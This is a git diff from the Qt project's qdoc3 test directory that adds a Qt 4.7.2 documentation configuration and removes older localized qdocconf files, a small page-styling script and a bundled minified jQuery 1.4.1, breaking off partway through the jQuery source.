+tagfile           = $QT_BUILD_TREE/doc-build/html-qt/qt.tags
+base              = file:$QT_BUILD_TREE/doc-build/html-qt
diff --git a/tools/qdoc3/test/qt-project.qdocconf b/tools/qdoc3/test/qt-project.qdocconf
new file mode 100644
index 0000000..3ed7cff
--- /dev/null
+++ b/tools/qdoc3/test/qt-project.qdocconf
@@ -0,0 +1,110 @@
+include(compat.qdocconf)
+include(macros.qdocconf)
+include(qt-cpp-ignore.qdocconf)
+include(qt-defines.qdocconf)
+
+project                 = Qt
+description             = Qt Reference Documentation
+url                     = http://qt.nokia.com/doc/4.7
+version                 = 4.7.2
+
+sourceencoding          = UTF-8
+outputencoding          = UTF-8
+naturallanguage         = en_US
+
+qhp.projects            = Qt
+
+qhp.Qt.file                = qt.qhp
+qhp.Qt.namespace           = com.trolltech.qt.472
+qhp.Qt.virtualFolder       = qdoc
+qhp.Qt.indexTitle          = Qt Reference Documentation
+qhp.Qt.indexRoot           =
+
+qhp.Qt.filterAttributes    = qt 4.7.2 qtrefdoc
+qhp.Qt.customFilters.Qt.name = Qt 4.7.2
+qhp.Qt.customFilters.Qt.filterAttributes = qt 4.7.2
+qhp.Qt.subprojects         = classes overviews examples
+qhp.Qt.subprojects.classes.title = Classes
+qhp.Qt.subprojects.classes.indexTitle = Qt's Classes
+qhp.Qt.subprojects.classes.selectors = class fake:headerfile
+qhp.Qt.subprojects.classes.sortPages = true
+qhp.Qt.subprojects.overviews.title = Overviews
+qhp.Qt.subprojects.overviews.indexTitle = All Overviews and HOWTOs
+qhp.Qt.subprojects.overviews.selectors = fake:page,group,module
+qhp.Qt.subprojects.examples.title = Tutorials and Examples
+qhp.Qt.subprojects.examples.indexTitle = Qt Examples
+qhp.Qt.subprojects.examples.selectors = fake:example
+
+language                = Cpp
+
+headerdirs              = $QT_SOURCE_TREE/src \
+                          $QT_SOURCE_TREE/extensions/activeqt \
+                          $QT_SOURCE_TREE/tools/assistant/lib \
+                          $QT_SOURCE_TREE/tools/assistant/compat/lib \
+                          $QT_SOURCE_TREE/tools/designer/src/uitools \
+                          $QT_SOURCE_TREE/tools/designer/src/lib/extension \
+                          $QT_SOURCE_TREE/tools/designer/src/lib/sdk \
+                          $QT_SOURCE_TREE/tools/designer/src/lib/uilib \
+                          $QT_SOURCE_TREE/tools/qtestlib/src \
+                          $QT_SOURCE_TREE/tools/qdbus/src
+sourcedirs              = $QT_SOURCE_TREE/src \
+                          $QT_SOURCE_TREE/doc/src \
+                          $QT_SOURCE_TREE/extensions/activeqt \
+                          $QT_SOURCE_TREE/tools/assistant/lib \
+                          $QT_SOURCE_TREE/tools/assistant/compat/lib \
+                          $QT_SOURCE_TREE/tools/designer/src/uitools \
+                          $QT_SOURCE_TREE/tools/designer/src/lib/extension \
+                          $QT_SOURCE_TREE/tools/designer/src/lib/sdk \
+                          $QT_SOURCE_TREE/tools/designer/src/lib/uilib \
+                          $QT_SOURCE_TREE/tools/qtestlib/src \
+                          $QT_SOURCE_TREE/tools/qdbus
+
+excludedirs             = $QT_SOURCE_TREE/src/3rdparty/clucene \
+                          $QT_SOURCE_TREE/src/3rdparty/des \
+                          $QT_SOURCE_TREE/src/3rdparty/freetype \
+                          $QT_SOURCE_TREE/src/3rdparty/harfbuzz \
+                          $QT_SOURCE_TREE/src/3rdparty/kdebase \
+                          $QT_SOURCE_TREE/src/3rdparty/libconninet \
+                          $QT_SOURCE_TREE/src/3rdparty/libjpeg \
+                          $QT_SOURCE_TREE/src/3rdparty/libmng \
+                          $QT_SOURCE_TREE/src/3rdparty/libpng \
+                          $QT_SOURCE_TREE/src/3rdparty/libtiff \
+                          $QT_SOURCE_TREE/src/3rdparty/md4 \
+                          $QT_SOURCE_TREE/src/3rdparty/md5 \
+                          $QT_SOURCE_TREE/src/3rdparty/patches \
+                          $QT_SOURCE_TREE/src/3rdparty/sha1 \
+                          $QT_SOURCE_TREE/src/3rdparty/sqlite \
+                          $QT_SOURCE_TREE/src/3rdparty/webkit/JavaScriptCore \
+                          $QT_SOURCE_TREE/src/3rdparty/webkit/WebCore \
+                          $QT_SOURCE_TREE/src/3rdparty/wintab \
+                          $QT_SOURCE_TREE/src/3rdparty/zlib \
+                          $QT_SOURCE_TREE/src/3rdparty/phonon/gstreamer \
+                          $QT_SOURCE_TREE/src/3rdparty/phonon/ds9 \
+                          $QT_SOURCE_TREE/src/3rdparty/phonon/qt7 \
+                          $QT_SOURCE_TREE/src/3rdparty/phonon/mmf \
+                          $QT_SOURCE_TREE/src/3rdparty/phonon/waveout \
+                          $QT_SOURCE_TREE/doc/src/snippets \
+                          $QT_SOURCE_TREE/doc/src/ja_JP \
+                          $QT_SOURCE_TREE/doc/src/zh_CN
+
+sources.fileextensions  = "*.c++ *.cc *.cpp *.cxx *.mm *.qml *.qdoc"
+headers.fileextensions  = "*.ch *.h *.h++ *.hh *.hpp *.hxx"
+
+examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp *.qml"
+examples.imageextensions = "*.png"
+
+exampledirs             = $QT_SOURCE_TREE/doc/src \
+                          $QT_SOURCE_TREE/examples \
+                          $QT_SOURCE_TREE/examples/tutorials \
+                          $QT_SOURCE_TREE \
+                          $QT_SOURCE_TREE/qmake/examples \
+                          $QT_SOURCE_TREE/src/3rdparty/webkit/WebKit/qt/docs
+imagedirs               = $QT_SOURCE_TREE/doc/src/images \
+                          $QT_SOURCE_TREE/examples \
+                          $QT_SOURCE_TREE/doc/src/declarative/pics \
+                          $QT_SOURCE_TREE/doc/src/template/images
+outputdir               = $QT_BUILD_TREE/doc/html
+tagfile                 = $QT_BUILD_TREE/doc/html/qt.tags
+base                    = file:$QT_BUILD_TREE/doc/html
+
+HTML.generatemacrefs    = "true"
diff --git a/tools/qdoc3/test/qt-webxml.qdocconf b/tools/qdoc3/test/qt-webxml.qdocconf
deleted file mode 100644
index 80ced42..0000000
--- a/tools/qdoc3/test/qt-webxml.qdocconf
+++ /dev/null
@@ -1,12 +0,0 @@
-include(qt.qdocconf)
-
-quotinginformation      = true
-imagedirs               = $QTDIR/doc/src/images \
-                          $QTDIR/examples \
-			  $QTDIR/doc/src/template/images
-
-outputdir               = $QTDIR/doc/webxml
-outputformats           = WebXML
-
-generateindex           = true
-url                     = .
diff --git a/tools/qdoc3/test/qt.qdocconf b/tools/qdoc3/test/qt.qdocconf
deleted file mode 100644
index b7b5371..0000000
--- a/tools/qdoc3/test/qt.qdocconf
+++ /dev/null
@@ -1,151 +0,0 @@
-include(compat.qdocconf)
-include(macros.qdocconf)
-include(qt-cpp-ignore.qdocconf)
-include(qt-html-templates.qdocconf)
-include(qt-defines.qdocconf)
-
-project                 = Qt
-versionsym              =
-version                 = %VERSION%
-description             = Qt Reference Documentation
-url                     = http://qt.nokia.com/doc/4.8
-
-sourceencoding          = UTF-8
-outputencoding          = UTF-8
-naturallanguage         = en_US
-
-qhp.projects            = Qt
-
-qhp.Qt.file                = qt.qhp
-qhp.Qt.namespace           = com.trolltech.qt.480
-qhp.Qt.virtualFolder       = qdoc
-qhp.Qt.indexTitle          = Qt Reference Documentation
-qhp.Qt.indexRoot           =
-
-# Files not referenced in any qdoc file (last four are needed by qtdemo)
-# See also extraimages.HTML
-qhp.Qt.extraFiles          = index.html \
-                 images/bg_l.png \
-                 images/bg_l_blank.png \
-                 images/bg_ll_blank.png \
-                 images/bg_ul_blank.png \
-                 images/header_bg.png \
-                 images/bg_r.png \
-                 images/box_bg.png \
-                 images/breadcrumb.png \
-                 images/bullet_gt.png \
-                 images/bullet_dn.png \
-                 images/bullet_sq.png \
-                 images/bullet_up.png \
-                 images/arrow_down.png \
-                 images/feedbackground.png \
-                 images/horBar.png \
-                 images/page.png \
-                 images/page_bg.png \
-                 images/sprites-combined.png \
-                 images/spinner.gif \
-                 images/stylesheet-coffee-plastique.png \
-                 images/taskmenuextension-example.png \
-                 images/coloreditorfactoryimage.png \
-                 images/dynamiclayouts-example.png \
-                 scripts/functions.js \
-                 scripts/jquery.js \
-                 scripts/narrow.js \
-                 scripts/superfish.js \
-                 style/narrow.css \
-                 style/superfish.css \
-                 style/style_ie6.css \
-                 style/style_ie7.css \
-                 style/style_ie8.css \
-                 style/style.css
-
-qhp.Qt.filterAttributes    = qt 4.8.0 qtrefdoc
-qhp.Qt.customFilters.Qt.name = Qt 4.8.0
-qhp.Qt.customFilters.Qt.filterAttributes = qt 4.8.0
-qhp.Qt.subprojects         = classes qmlelements overviews examples
-qhp.Qt.subprojects.classes.title = Classes
-qhp.Qt.subprojects.classes.indexTitle = Qt's Classes
-qhp.Qt.subprojects.classes.selectors = class fake:headerfile
-qhp.Qt.subprojects.classes.sortPages = true
-qhp.Qt.subprojects.qmlelements.title = QML Elements
-qhp.Qt.subprojects.qmlelements.indexTitle = QML Elements
-qhp.Qt.subprojects.qmlelements.selectors = fake:qmlclass
-qhp.Qt.subprojects.qmlelements.sortPages = true
-qhp.Qt.subprojects.overviews.title = Overviews
-qhp.Qt.subprojects.overviews.indexTitle = All Overviews and HOWTOs
-qhp.Qt.subprojects.overviews.selectors = fake:page,group,module
-qhp.Qt.subprojects.examples.title = Tutorials and Examples
-qhp.Qt.subprojects.examples.indexTitle = Qt Examples
-qhp.Qt.subprojects.examples.selectors = fake:example
-
-language                = Cpp
-
-headerdirs              = $QTDIR/src \
-                          $QTDIR/extensions/activeqt \
-                          $QTDIR/tools/assistant/lib \
-                          $QTDIR/tools/assistant/compat/lib \
-                          $QTDIR/tools/designer/src/uitools \
-                          $QTDIR/tools/designer/src/lib/extension \
-                          $QTDIR/tools/designer/src/lib/sdk \
-                          $QTDIR/tools/designer/src/lib/uilib \
-                          $QTDIR/tools/qtestlib/src \
-                          $QTDIR/tools/qdbus/src
-sourcedirs              = $QTDIR/src \
-                          $QTDIR/doc/src \
-                          $QTDIR/extensions/activeqt \
-                          $QTDIR/tools/assistant/lib \
-                          $QTDIR/tools/assistant/compat/lib \
-                          $QTDIR/tools/designer/src/uitools \
-                          $QTDIR/tools/designer/src/lib/extension \
-                          $QTDIR/tools/designer/src/lib/sdk \
-                          $QTDIR/tools/designer/src/lib/uilib \
-                          $QTDIR/tools/qtestlib/src \
-                          $QTDIR/tools/qdbus
-
-excludedirs             = $QTDIR/src/3rdparty/clucene \
-                          $QTDIR/src/3rdparty/des \
-                          $QTDIR/src/3rdparty/freetype \
-                          $QTDIR/src/3rdparty/harfbuzz \
-                          $QTDIR/src/3rdparty/kdebase \
-                          $QTDIR/src/3rdparty/libconninet \
-                          $QTDIR/src/3rdparty/libjpeg \
-                          $QTDIR/src/3rdparty/libmng \
-                          $QTDIR/src/3rdparty/libpng \
-                          $QTDIR/src/3rdparty/libtiff \
-                          $QTDIR/src/3rdparty/md4 \
-                          $QTDIR/src/3rdparty/md5 \
-                          $QTDIR/src/3rdparty/patches \
-                          $QTDIR/src/3rdparty/sha1 \
-                          $QTDIR/src/3rdparty/sqlite \
-                          $QTDIR/src/3rdparty/webkit/JavaScriptCore \
-                          $QTDIR/src/3rdparty/webkit/WebCore \
-                          $QTDIR/src/3rdparty/wintab \
-                          $QTDIR/src/3rdparty/zlib \
-                          $QTDIR/src/3rdparty/phonon/gstreamer \
-                          $QTDIR/src/3rdparty/phonon/ds9 \
-                          $QTDIR/src/3rdparty/phonon/qt7 \
-                          $QTDIR/src/3rdparty/phonon/mmf \
-                          $QTDIR/src/3rdparty/phonon/waveout \
-                          $QTDIR/doc/src/snippets \
-                          $QTDIR/doc/src/ja_JP \
-                          $QTDIR/doc/src/zh_CN
-
-sources.fileextensions  = "*.cpp *.qdoc *.mm"
-examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp *.qml"
-examples.imageextensions = "*.png"
-
-exampledirs             = $QTDIR/doc/src \
-                          $QTDIR/examples \
-                          $QTDIR/examples/tutorials \
-                          $QTDIR \
-                          $QTDIR/qmake/examples \
-                          $QTDIR/src/3rdparty/webkit/WebKit/qt/docs
-imagedirs               = $QTDIR/doc/src/images \
-                          $QTDIR/examples \
-                          $QTDIR/doc/src/declarative/pics \
-                          $QTDIR/doc/src/template/images
-outputdir               = $QTDIR/doc/html
-tagfile                 = $QTDIR/doc/html/qt.tags
-base                    = file:$QTDIR/doc/html
-
-HTML.generatemacrefs    = "true"
diff --git a/tools/qdoc3/test/qt_ja_JP.qdocconf b/tools/qdoc3/test/qt_ja_JP.qdocconf
deleted file mode 100644
index 69c0748..0000000
--- a/tools/qdoc3/test/qt_ja_JP.qdocconf
+++ /dev/null
@@ -1,118 +0,0 @@
-include(compat.qdocconf)
-include(macros.qdocconf)
-include(qt-cpp-ignore.qdocconf)
-include(qt-html-templates_ja_JP.qdocconf)
-include(qt-defines.qdocconf)
-
-project                 = Qt
-versionsym              =
-version                 = %VERSION%
-description             = Qt リファレンスドキュメント
-url                     = http://qt.nokia.com/doc/ja_JP/4.7
-
-sourceencoding          = UTF-8
-outputencoding          = UTF-8
-naturallanguage         = ja
-
-indexes                 = $QTDIR/doc/html/qt.index
-
-qhp.projects            = Qt
-
-qhp.Qt.file                = qt.qhp
-qhp.Qt.namespace           = com.trolltech.qt.480
-qhp.Qt.virtualFolder       = qdoc
-qhp.Qt.title               = Qt
-qhp.Qt.indexTitle          = Qt
-qhp.Qt.selectors           = fake:example
-
-qhp.Qt.filterAttributes    = qt 4.8.0 qtrefdoc ja_JP
-qhp.Qt.customFilters.Qt.name = Qt 4.8.0
-qhp.Qt.customFilters.Qt.filterAttributes = qt 4.8.0
-
-# Files not referenced in any qdoc file (last four are needed by qtdemo)
-# See also extraimages.HTML
-qhp.Qt.extraFiles          = index.html \
-			    images/bg_l.png \
-			    images/bg_l_blank.png \
-			    images/bg_ll_blank.png \
-			    images/bg_ul_blank.png \
-			    images/header_bg.png \
-			    images/bg_r.png \
-			    images/box_bg.png \
-			    images/breadcrumb.png \
-			    images/bullet_gt.png \
-			    images/bullet_dn.png \
-			    images/bullet_sq.png \
-			    images/bullet_up.png \
-			    images/arrow_down.png \
-			    images/feedbackground.png \
-			    images/horBar.png \
-			    images/page.png \
-			    images/page_bg.png \
-			    images/sprites-combined.png \
-			    images/spinner.gif \
-			    images/stylesheet-coffee-plastique.png \
-			    images/taskmenuextension-example.png \
-			    images/coloreditorfactoryimage.png \
-			    images/dynamiclayouts-example.png \
-			    scripts/functions.js \
-			    scripts/jquery.js \
-			    scripts/narrow.js \
-			    scripts/superfish.js \
-			    style/narrow.css \
-			    style/superfish.css \
-			    style/style_ie6.css \
-			    style/style_ie7.css \
-			    style/style_ie8.css \
-			    style/style.css
-
-language                = Cpp
-
-sourcedirs              = $QTDIR/doc/src/ja_JP
-
-excludedirs             = $QTDIR/src/3rdparty/clucene \
-                          $QTDIR/src/3rdparty/des \
-                          $QTDIR/src/3rdparty/freetype \
-                          $QTDIR/src/3rdparty/harfbuzz \
-                          $QTDIR/src/3rdparty/kdebase \
-                          $QTDIR/src/3rdparty/libjpeg \
-                          $QTDIR/src/3rdparty/libmng \
-                          $QTDIR/src/3rdparty/libpng \
-                          $QTDIR/src/3rdparty/libtiff \
-                          $QTDIR/src/3rdparty/md4 \
-                          $QTDIR/src/3rdparty/md5 \
-                          $QTDIR/src/3rdparty/patches \
-                          $QTDIR/src/3rdparty/sha1 \
-                          $QTDIR/src/3rdparty/sqlite \
-                          $QTDIR/src/3rdparty/webkit/JavaScriptCore \
-                          $QTDIR/src/3rdparty/webkit/WebCore \
-                          $QTDIR/src/3rdparty/wintab \
-                          $QTDIR/src/3rdparty/zlib \
-                          $QTDIR/doc/src/snippets \
-                          $QTDIR/doc/src/zh_CN \
-                          $QTDIR/src/3rdparty/phonon/gstreamer \
-                          $QTDIR/src/3rdparty/phonon/ds9 \
-                          $QTDIR/src/3rdparty/phonon/qt7 \
-                          $QTDIR/src/3rdparty/phonon/mmf \
-                          $QTDIR/src/3rdparty/phonon/waveout
-
-sources.fileextensions  = "*.cpp *.qdoc *.mm"
-examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp"
-examples.imageextensions = "*.png"
-
-exampledirs             = $QTDIR/doc/src \
-                          $QTDIR/examples/ja_JP \
-                          $QTDIR/examples \
-                          $QTDIR/examples/tutorials \
-                          $QTDIR \
-                          $QTDIR/qmake/examples \
-                          $QTDIR/src/3rdparty/webkit/WebKit/qt/docs
-imagedirs               = $QTDIR/doc/src/ja_JP/images \
-                          $QTDIR/doc/src/images \
-                          $QTDIR/examples \
-			  $QTDIR/doc/src/template/images
-outputdir               = $QTDIR/doc/html_ja_JP
-tagfile                 = $QTDIR/doc/html_ja_JP/qt.tags
-base                    = file:$QTDIR/doc/html_ja_JP
-
-HTML.generatemacrefs    = "true"
diff --git a/tools/qdoc3/test/qt_zh_CN.qdocconf b/tools/qdoc3/test/qt_zh_CN.qdocconf
deleted file mode 100644
index 7b49315..0000000
--- a/tools/qdoc3/test/qt_zh_CN.qdocconf
+++ /dev/null
@@ -1,116 +0,0 @@
-include(compat.qdocconf)
-include(macros.qdocconf)
-include(qt-cpp-ignore.qdocconf)
-include(qt-html-templates_zh_CN.qdocconf)
-include(qt-defines.qdocconf)
-
-project                 = Qt
-versionsym              =
-version                 = %VERSION%
-description             = Qt Reference Documentation
-url                     = http://qt.nokia.com/doc/zh_CN/4.8
-
-sourceencoding          = UTF-8
-outputencoding          = UTF-8
-naturallanguage         = zh-Hans
-
-indexes                 = $QTDIR/doc/html/qt.index
-
-qhp.projects            = Qt
-
-qhp.Qt.file                = qt.qhp
-qhp.Qt.namespace           = com.trolltech.qt.480
-qhp.Qt.virtualFolder       = qdoc
-qhp.Qt.title               = 教程
-qhp.Qt.indexTitle          = 教程
-qhp.Qt.selectors           = fake:example
-
-qhp.Qt.filterAttributes    = qt 4.8.0 qtrefdoc zh_CN
-qhp.Qt.customFilters.Qt.name = Qt 4.8.0
-qhp.Qt.customFilters.Qt.filterAttributes = qt 4.8.0
-
-# Files not referenced in any qdoc file (last four are needed by qtdemo)
-# See also extraimages.HTML
-qhp.Qt.extraFiles          = index.html \
-                             images/bg_l.png \
-                             images/bg_l_blank.png \
-							 images/bg_ll_blank.png \
-							 images/bg_ul_blank.png \
-							 images/header_bg.png \
-                             images/bg_r.png \
-                             images/box_bg.png \
-                             images/breadcrumb.png \
-                             images/bullet_gt.png \
-                             images/bullet_dn.png \
-                             images/bullet_sq.png \
-                             images/bullet_up.png \
-                             images/arrow_down.png \
-                             images/feedbackground.png \
-                             images/horBar.png \
-                             images/page.png \
-                             images/page_bg.png \
-                             images/sprites-combined.png \
-                             images/spinner.gif \
-                             images/stylesheet-coffee-plastique.png \
-                             images/taskmenuextension-example.png \
-                             images/coloreditorfactoryimage.png \
-                             images/dynamiclayouts-example.png \
-                             scripts/functions.js \
-                             scripts/jquery.js \
-                             scripts/narrow.js \
-                             scripts/superfish.js \
-                             style/narrow.css \
-                             style/superfish.css \
-                             style/style_ie6.css \
-                             style/style_ie7.css \
-                             style/style_ie8.css \
-                             style/style.css
-
-language                = Cpp
-
-sourcedirs              = $QTDIR/doc/src/zh_CN
-
-excludedirs             = $QTDIR/src/3rdparty/clucene \
-                          $QTDIR/src/3rdparty/des \
-                          $QTDIR/src/3rdparty/freetype \
-                          $QTDIR/src/3rdparty/harfbuzz \
-                          $QTDIR/src/3rdparty/kdebase \
-                          $QTDIR/src/3rdparty/libjpeg \
-                          $QTDIR/src/3rdparty/libmng \
-                          $QTDIR/src/3rdparty/libpng \
-                          $QTDIR/src/3rdparty/libtiff \
-                          $QTDIR/src/3rdparty/md4 \
-                          $QTDIR/src/3rdparty/md5 \
-                          $QTDIR/src/3rdparty/patches \
-                          $QTDIR/src/3rdparty/sha1 \
-                          $QTDIR/src/3rdparty/sqlite \
-                          $QTDIR/src/3rdparty/webkit/JavaScriptCore \
-                          $QTDIR/src/3rdparty/webkit/WebCore \
-                          $QTDIR/src/3rdparty/wintab \
-                          $QTDIR/src/3rdparty/zlib \
-                          $QTDIR/doc/src/snippets \
-                          $QTDIR/doc/src/ja_JP \
-                          $QTDIR/src/3rdparty/phonon/gstreamer \
-                          $QTDIR/src/3rdparty/phonon/ds9 \
-                          $QTDIR/src/3rdparty/phonon/qt7 \
-                          $QTDIR/src/3rdparty/phonon/mmf \
-                          $QTDIR/src/3rdparty/phonon/waveout
-
-sources.fileextensions  = "*.cpp *.qdoc *.mm"
-examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp"
-examples.imageextensions = "*.png"
-
-exampledirs             = $QTDIR/doc/src \
-                          $QTDIR/examples \
-                          $QTDIR/examples/tutorials \
-                          $QTDIR \
-                          $QTDIR/qmake/examples \
-                          $QTDIR/src/3rdparty/webkit/WebKit/qt/docs
-imagedirs               = $QTDIR/doc/src/images \
-                          $QTDIR/examples \
-			  $QTDIR/doc/src/template/images
-outputdir               = $QTDIR/doc/html_zh_CN
-tagfile                 = $QTDIR/doc/html_zh_CN/qt.tags
-base                    = file:$QTDIR/doc/html_zh_CN
-
-HTML.generatemacrefs    = "true"
diff --git a/tools/qdoc3/test/scripts/functions.js b/tools/qdoc3/test/scripts/functions.js
deleted file mode 100644
index 0135427..0000000
--- a/tools/qdoc3/test/scripts/functions.js
+++ /dev/null
@@ -1,60 +0,0 @@
-
-/* START non link areas where cursor should change to pointing hand */
-$('.t_button').mouseover(function() {
-    $('.t_button').css('cursor','pointer');
-		/*document.getElementById(this.id).style.cursor='pointer';*/
-});
-
-/* END non link areas  */
-$('#smallA').click(function() {
-		$('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('font-size','smaller');
-		$('.t_button').removeClass('active')
-		$(this).addClass('active')
-});
-
-$('#medA').click(function() {
-		$('.content .heading').css('font','600 16px/1 Arial');
-		$('.content h1').css('font','600 18px/1.2 Arial');
-		$('.content h2').css('font','600 16px/1.2 Arial');
-		$('.content h3').css('font','600 14px/1.2 Arial');
-		$('.content p').css('font','13px/20px Verdana');
-		$('.content li').css('font','400 13px/1 Verdana');
-		$('.content li').css('line-height','14px');
-		$('.content table').css('font','13px/1.2 Verdana');
-		$('.content .heading').css('font','600 16px/1 Arial');
-		$('.content .indexboxcont li').css('font','600 13px/1 Verdana');
-		$('.t_button').removeClass('active')
-		$(this).addClass('active')
-});
-
-$('#bigA').click(function() {
-		$('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('font-size','large');
-		$('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('line-height','25px');
-		$('.t_button').removeClass('active')
-		$(this).addClass('active')
-});
-
-function doSearch(str){
-
-if (str.length>3)
-  {
-  alert('start search');
- // document.getElementById("refWrapper").innerHTML="";
-  return;
-  }
- else
-  return;
-    
-//    var url="indexSearch.php";
-//    url=url+"?q="+str;
- //   url=url+"&sid="+Math.random();
-   // var url="http://localhost:8983/solr/select?";
-   // url=url+"&q="+str;
-   // url=url+"&fq=&start=0&rows=10&fl=&qt=&wt=&explainOther=&hl.fl=";
-    
-  //  $.get(url, function(data){ 
-   // alert(data);
-  // document.getElementById("refWrapper").innerHTML=data; 
- //});
-   
-}
\ No newline at end of file
diff --git a/tools/qdoc3/test/scripts/jquery.js b/tools/qdoc3/test/scripts/jquery.js
deleted file mode 100644
index 0c7294c..0000000
--- a/tools/qdoc3/test/scripts/jquery.js
+++ /dev/null
@@ -1,152 +0,0 @@
-/*!
- * jQuery JavaScript Library v1.4.1
- * http://jquery.com/
- *
- * Copyright 2010, John Resig
- * Dual licensed under the MIT or GPL Version 2 licenses.
- * http://jquery.org/license
- *
- * Includes Sizzle.js
- * http://sizzlejs.com/
- * Copyright 2010, The Dojo Foundation
- * Released under the MIT, BSD, and GPL Licenses.
- *
- * Date: Mon Jan 25 19:43:33 2010 -0500
- */
-(function(z,v){function la(){if(!c.isReady){try{r.documentElement.doScroll("left")}catch(a){setTimeout(la,1);return}c.ready()}}function Ma(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,i){var j=a.length;if(typeof b==="object"){for(var n in b)X(a,n,b[n],f,e,d);return a}if(d!==v){f=!i&&f&&c.isFunction(d);for(n=0;n<j;n++)e(a[n],b,f?d.call(a[n],n,e(a[n],b)):d,i);return a}return j?
-e(a[0],b):null}function J(){return(new Date).getTime()}function Y(){return false}function Z(){return true}function ma(a,b,d){d[0].type=a;return c.event.handle.apply(b,d)}function na(a){var b,d=[],f=[],e=arguments,i,j,n,o,m,s,x=c.extend({},c.data(this,"events").live);if(!(a.button&&a.type==="click")){for(o in x){j=x[o];if(j.live===a.type||j.altLive&&c.inArray(a.type,j.altLive)>-1){i=j.data;i.beforeFilter&&i.beforeFilter[a.type]&&!i.beforeFilter[a.type](a)||f.push(j.selector)}else delete x[o]}i=c(a.target).closest(f,
-a.currentTarget);m=0;for(s=i.length;m<s;m++)for(o in x){j=x[o];n=i[m].elem;f=null;if(i[m].selector===j.selector){if(j.live==="mouseenter"||j.live==="mouseleave")f=c(a.relatedTarget).closest(j.selector)[0];if(!f||f!==n)d.push({elem:n,fn:j})}}m=0;for(s=d.length;m<s;m++){i=d[m];a.currentTarget=i.elem;a.data=i.fn.data;if(i.fn.apply(i.elem,e)===false){b=false;break}}return b}}function oa(a,b){return"live."+(a?a+".":"")+b.replace(/\./g,"`").replace(/ /g,"&")}function pa(a){return!a||!a.parentNode||a.parentNode.nodeType===
-11}function qa(a,b){var d=0;b.each(function(){if(this.nodeName===(a[d]&&a[d].nodeName)){var f=c.data(a[d++]),e=c.data(this,f);if(f=f&&f.events){delete e.handle;e.events={};for(var i in f)for(var j in f[i])c.event.add(this,i,f[i][j],f[i][j].data)}}})}function ra(a,b,d){var f,e,i;if(a.length===1&&typeof a[0]==="string"&&a[0].length<512&&a[0].indexOf("<option")<0&&(c.support.checkClone||!sa.test(a[0]))){e=true;if(i=c.fragments[a[0]])if(i!==1)f=i}if(!f){b=b&&b[0]?b[0].ownerDocument||b[0]:r;f=b.createDocumentFragment();
-c.clean(a,b,f,d)}if(e)c.fragments[a[0]]=i?f:1;return{fragment:f,cacheable:e}}function K(a,b){var d={};c.each(ta.concat.apply([],ta.slice(0,b)),function(){d[this]=a});return d}function ua(a){return"scrollTo"in a&&a.document?a:a.nodeType===9?a.defaultView||a.parentWindow:false}var c=function(a,b){return new c.fn.init(a,b)},Na=z.jQuery,Oa=z.$,r=z.document,S,Pa=/^[^<]*(<[\w\W]+>)[^>]*$|^#([\w-]+)$/,Qa=/^.[^:#\[\.,]*$/,Ra=/\S/,Sa=/^(\s|\u00A0)+|(\s|\u00A0)+$/g,Ta=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,O=navigator.userAgent,
-va=false,P=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,Q=Array.prototype.slice,wa=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(typeof a==="string")if((d=Pa.exec(a))&&(d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:r;if(a=Ta.exec(a))if(c.isPlainObject(b)){a=[r.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=ra([d[1]],
-[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}}else{if(b=r.getElementById(d[2])){if(b.id!==d[2])return S.find(a);this.length=1;this[0]=b}this.context=r;this.selector=a;return this}else if(!b&&/^\w+$/.test(a)){this.selector=a;this.context=r;a=r.getElementsByTagName(a)}else return!b||b.jquery?(b||S).find(a):c(b).find(a);else if(c.isFunction(a))return S.ready(a);if(a.selector!==v){this.selector=a.selector;this.context=a.context}return c.isArray(a)?this.setArray(a):c.makeArray(a,
-this)},selector:"",jquery:"1.4.1",length:0,size:function(){return this.length},toArray:function(){return Q.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){a=c(a||null);a.prevObject=this;a.context=this.context;if(b==="find")a.selector=this.selector+(this.selector?" ":"")+d;else if(b)a.selector=this.selector+"."+b+"("+d+")";return a},setArray:function(a){this.length=0;ba.apply(this,a);return this},each:function(a,b){return c.each(this,
-a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(r,c);else P&&P.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(Q.apply(this,arguments),"slice",Q.call(arguments).join(","))},map:function(a){return this.pushStack(c.map(this,function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice};
-c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,i,j,n;if(typeof a==="boolean"){f=a;a=arguments[1]||{};b=2}if(typeof a!=="object"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b<d;b++)if((e=arguments[b])!=null)for(i in e){j=a[i];n=e[i];if(a!==n)if(f&&n&&(c.isPlainObject(n)||c.isArray(n))){j=j&&(c.isPlainObject(j)||c.isArray(j))?j:c.isArray(n)?[]:{};a[i]=c.extend(f,j,n)}else if(n!==v)a[i]=n}return a};c.extend({noConflict:function(a){z.$=
